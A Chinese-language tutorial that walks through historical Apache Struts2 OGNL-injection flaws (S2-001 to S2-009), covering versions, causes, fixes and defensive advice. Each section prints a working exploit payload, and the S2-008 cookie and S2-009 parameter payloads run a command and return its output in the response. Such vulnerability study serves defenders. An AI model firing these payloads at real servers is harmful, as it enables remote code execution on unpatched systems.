Struts2历史高危漏洞分析系列:(二)
字数 1992 2025-08-09 15:23:02
Struts2历史高危漏洞分析系列(二)教学文档
一、S2-001漏洞分析
1. 漏洞背景
- 漏洞编号:S2-001
- 影响版本:Struts 2.0.0 - Struts 2.0.8
- 漏洞类型:OGNL表达式注入
- CVE编号:CVE-2007-4556
2. 漏洞原理
当表单验证失败时,Struts2会将用户提交的参数值重新返回给JSP页面进行显示。攻击者可以构造恶意的OGNL表达式作为参数值提交,当这些参数被重新显示时,OGNL表达式会被执行。
3. 漏洞触发条件
- 使用了Struts2的表单标签
- 表单验证失败
- 未对用户输入进行适当过滤
4. 漏洞利用示例
// 恶意payload示例
%{#a=new java.lang.ProcessBuilder(new java.lang.String[]{"calc"}),#a.start()}
5. 漏洞修复
- 升级到Struts 2.0.9或更高版本
- 修复方式:在
TextParseUtil.translateVariables()方法中增加了对OGNL表达式的安全限制
二、S2-003漏洞分析
1. 漏洞背景
- 漏洞编号:S2-003
- 影响版本:Struts 2.0.0 - Struts 2.0.11.1
- 漏洞类型:参数名OGNL表达式注入
- CVE编号:CVE-2008-6504
2. 漏洞原理
Struts2允许在参数名中使用OGNL表达式,当参数名中包含\u0023(#)字符时,可以绕过安全限制执行任意OGNL表达式。
3. 漏洞利用方式
通过构造特殊的参数名来执行OGNL表达式:
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023mycmd\u003d\'calc\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)
4. 漏洞修复
- 升级到Struts 2.0.12或更高版本
- 修复方式:在
ParametersInterceptor中增加了对参数名的安全校验
三、S2-005漏洞分析
1. 漏洞背景
- 漏洞编号:S2-005
- 影响版本:Struts 2.0.0 - Struts 2.1.8.1
- 漏洞类型:参数值OGNL表达式注入
- CVE编号:CVE-2010-1870
2. 漏洞原理
S2-005是对S2-003修复的绕过,通过构造特殊的OGNL表达式可以绕过安全限制,执行任意代码。
3. 漏洞利用示例
?('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023mycmd\u003d\'calc\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)
4. 漏洞修复
- 升级到Struts 2.2或更高版本
- 修复方式:引入了更严格的OGNL表达式沙箱机制
四、S2-007漏洞分析
1. 漏洞背景
- 漏洞编号:S2-007
- 影响版本:Struts 2.0.0 - Struts 2.2.3
- 漏洞类型:参数类型转换错误导致的OGNL表达式注入
- CVE编号:CVE-2012-0838
2. 漏洞原理
当参数类型转换失败时,Struts2会将转换失败的信息通过OGNL表达式显示出来,攻击者可以构造恶意输入导致OGNL表达式执行。
3. 漏洞利用条件
- 需要存在类型转换错误的参数
- 参数值会被回显到页面上
4. 漏洞利用示例
?age=abc' + (#_memberAccess.allowStaticMethodAccess=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("calc")) + '
5. 漏洞修复
- 升级到Struts 2.2.3.1或更高版本
- 修复方式:在类型转换错误处理时对OGNL表达式进行了安全限制
五、S2-008漏洞分析
1. 漏洞背景
- 漏洞编号:S2-008
- 影响版本:Struts 2.0.0 - Struts 2.3.1
- 漏洞类型:多重漏洞组合
- CVE编号:CVE-2012-0391
2. 漏洞原理
包含多个漏洞:
- CookieInterceptor中的OGNL表达式注入
- DebuggingInterceptor中的远程代码执行
3. 漏洞利用方式
通过修改Cookie值或启用调试模式来执行OGNL表达式:
# 修改Cookie
Cookie: USERNAME=%23context['xwork.MethodAccessor.denyMethodExecution']%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d@java.lang.Runtime@getRuntime().exec('calc').getInputStream()%2c%23b%3dnew java.io.InputStreamReader(%23a)%2c%23c%3dnew java.io.BufferedReader(%23b)%2c%23d%3dnew char[50000]%2c%23c.read(%23d)%2c%23genxor%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()
4. 漏洞修复
- 升级到Struts 2.3.1.2或更高版本
- 修复方式:全面加强了OGNL表达式的安全限制
六、S2-009漏洞分析
1. 漏洞背景
- 漏洞编号:S2-009
- 影响版本:Struts 2.1.0 - Struts 2.3.1.1
- 漏洞类型:参数名OGNL表达式注入
- CVE编号:CVE-2011-3923
2. 漏洞原理
是对S2-003和S2-005的另一种绕过方式,通过参数名中的OGNL表达式注入来执行任意代码。
3. 漏洞利用示例
?age=123&name=%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),%23b=new java.io.InputStreamReader(%23a),%23c=new java.io.BufferedReader(%23b),%23d=new char[50000],%23c.read(%23d),%23genxor=%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23genxor.println(%23d),%23genxor.flush(),%23genxor.close()&z[(name)('meh')]=true
4. 漏洞修复
- 升级到Struts 2.3.1.2或更高版本
- 修复方式:在
ParametersInterceptor中增加了更严格的参数名验证
七、防御措施总结
- 及时升级:始终使用Struts2的最新稳定版本
- 输入验证:对所有用户输入进行严格的验证和过滤
- 最小权限:运行Struts2应用的服务器应使用最小权限原则
- 安全配置:禁用不必要的Struts2功能和拦截器
- WAF防护:部署Web应用防火墙拦截恶意请求
- 代码审计:定期进行安全审计,检查潜在的OGNL表达式注入点
八、学习价值
- 框架安全设计:了解MVC框架的安全边界设计
- 表达式注入:学习OGNL表达式注入的原理和防御方法
- 漏洞链利用:理解多个漏洞组合利用的技巧
- 修复演进:跟踪安全修复的演进过程,学习防御思路
- 代码审计技巧:掌握Java Web应用的安全审计方法